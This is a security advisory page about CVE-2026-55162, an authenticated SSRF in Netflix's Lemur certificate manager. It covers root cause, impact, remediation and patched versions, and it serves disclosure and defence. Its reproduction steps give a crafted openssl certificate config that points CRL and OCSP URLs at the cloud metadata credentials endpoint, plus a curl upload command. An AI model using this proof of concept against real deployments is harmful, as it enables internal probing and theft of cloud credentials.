Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
MEDIUM severity

CVE-2026-55162 lemur

MEDIUMFix: Netflix/lemur@733714a

CVE-2026-55162 is a medium-severity (CVSS 6.3) Server-Side Request Forgery (SSRF) vulnerability in lemur. A fix is available for lemur — see the affected versions and patch details below.

Lemur: Post-authentication SSRF via certificate verification - attacker-controlled CRL and OCSP URLs in uploaded certificates

Also known asGHSA-54vg-pfh7-jq95PYSEC-2026-2586
Published
Aug 18, 2026
Updated
Sep 10, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs10th percentile — riskier than 10% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-55162 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍lemur

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

When verifying an uploaded certificate, lemur/certificates/verify.py extracts the CRL Distribution Point URL and the OCSP responder URL directly from the certificate's extensions and issues outbound requests to those URLs without scheme restriction or destination allow-listing. An authenticated user holding the operator role (required by StrictRolePermission on POST /certificates/upload) can craft a certificate whose extensions point at internal services - instance metadata endpoints, internal Kubernetes API servers, RFC1918 hosts, link-local addresses - and cause the Lemur host to issue requests against those destinations during verification.

Root Cause

lemur/certificates/verify.py, crl_verify:

point = p.full_name[0].value                          # URL from CDP extension of uploaded cert
...
response = requests.get(point, timeout=(3.05, 6))     # no allow-list, no destination filter

lemur/certificates/verify.py, ocsp_verify:

command = ["openssl", "x509", "-noout", "-ocsp_uri", "-in", cert_path]
p1 = subprocess.Popen(command, stdout=subprocess.PIPE, ...)
url, _ = p1.communicate()
p2 = subprocess.Popen(
    ["openssl", "ocsp", "-issuer", issuer_chain_path, "-cert", cert_path,
     "-url", url.strip()],                            # attacker-controlled URL
    ...
)

In both code paths the URL flows from attacker-controlled certificate-extension content to a network sink with no validation against an allow-list of hostnames, no scheme restriction beyond rejecting LDAP via InvalidSchema, and no filtering of RFC1918 / link-local (169.254/16) / loopback / IPv6 ULA destinations.

Affected Endpoints

MethodPathSource
POST/api/1/certificates/uploadverify_stringcrl_verify / ocsp_verify

The bug additionally surfaces anywhere verify_string is invoked on attacker-influenced certificate content (sync paths, source plugin re-validation, etc.). The upload endpoint is the most direct trigger.

Impact

An operator-role attacker can:

  • Probe the Lemur host's internal network through outbound CRL/OCSP fetches and infer topology from response timings and error messages.
  • On EC2 instances without IMDSv2 enforcement, cause requests to http://169.254.169.254/ and influence downstream behavior of components that parse the response.
  • Pin attacker-controlled CRLs into the unbounded module-level crl_cache dict (see Advisory 4c) for permanent cache poisoning - once cached, a poisoned CRL is served to every subsequent verification for the same URL. The operator-role precondition reduces severity from what an unauthenticated SSRF would warrant, but operators are still meaningfully less trusted than the host's network position. PKI workflows also routinely process third-party certificates whose extensions are not directly controlled by the operator, broadening the trigger surface beyond purely-malicious operators.

Remediation

Filter the URL before it reaches the network sink. Either:

  1. Maintain an explicit allow-list of CRL/OCSP hostnames in configuration (e.g., LEMUR_TRUSTED_CRL_HOSTS and LEMUR_TRUSTED_OCSP_HOSTS) and reject anything outside the list, or
  2. Use an SSRF-safe HTTP client wrapper that resolves the destination, rejects RFC1918 / link-local / loopback / IPv6 ULA addresses before connecting, and pins the resolved IP to defeat DNS rebinding. For OCSP, route the parsed URL through the same wrapper before passing it as -url to openssl ocsp.

Additionally, bound crl_cache (see Advisory 4c) to prevent the SSRF vector from amplifying into a persistent cache-poisoning condition.

Steps to Reproduce

  1. Set up Lemur on an EC2 instance with IMDSv1 enabled (or any host with reachable RFC1918 services). Create an admin user and an operator-role user eve.

  2. Generate a self-signed certificate whose extensions point at internal services:

    cat > openssl.cnf <<EOF
    [req]
    distinguished_name = req_distinguished_name
    req_extensions = v3_ca
    prompt = no
    
    [req_distinguished_name]
    CN = ssrf-poc.example
    
    [v3_ca]
    crlDistributionPoints = URI:http://169.254.169.254/latest/meta-data/iam/security-credentials/
    authorityInfoAccess = OCSP;URI:http://169.254.169.254/latest/meta-data/
    EOF
    
    openssl req -x509 -newkey rsa:2048 -keyout ssrf.key -out ssrf.crt \
        -days 365 -nodes -config openssl.cnf -extensions v3_ca
    
  3. On the Lemur host, start a packet capture filter for the target address before submitting the cert:

    sudo tcpdump -nni any host 169.254.169.254
    
  4. As eve, upload the malicious certificate:

    BODY=$(cat ssrf.crt | sed ':a;N;$!ba;s/\n/\\n/g')
    curl -X POST https://lemur.local/api/1/certificates/upload \
         -H "Authorization: Bearer <eve_jwt>" \
         -H "Content-Type: application/json" \
         -d "{
               \"name\": \"ssrf-poc\",
               \"body\": \"$BODY\",
               \"chain\": \"\",
               \"private_key\": \"\",
               \"owner\": \"[email protected]\"
             }"
    
  5. Observe the outbound request to 169.254.169.254 in the tcpdump output. The request originates from the Lemur process during verify_string processing of the uploaded cert. The attacker has successfully induced a server-side request to an internal address of their choosing.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIlemurall versions1.9.2pip install --upgrade 'lemur==1.9.2'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for lemur, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update lemur to 1.9.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-55162 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-55162 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-55162. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary When verifying an uploaded certificate, `lemur/certificates/verify.py` extracts the CRL Distribution Point URL and the OCSP responder URL directly from the certificate's extensions and issues outbound requests to those URLs without scheme restriction or destination allow-listing. An authenticated user holding the operator role (required by `StrictRolePermission` on `POST /certificates/upload`) can craft a certificate whose extensions point at internal services - instance metadata endpoints, internal Kubernetes API servers, RFC1918 hosts, link-local addresses - and cause the Lemur
O3 Security · Impact-Aware SCA

Is CVE-2026-55162 in your dependencies?

O3 Security finds CVE-2026-55162 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-55162: lemur SSRF (Medium 6.3) | O3 Security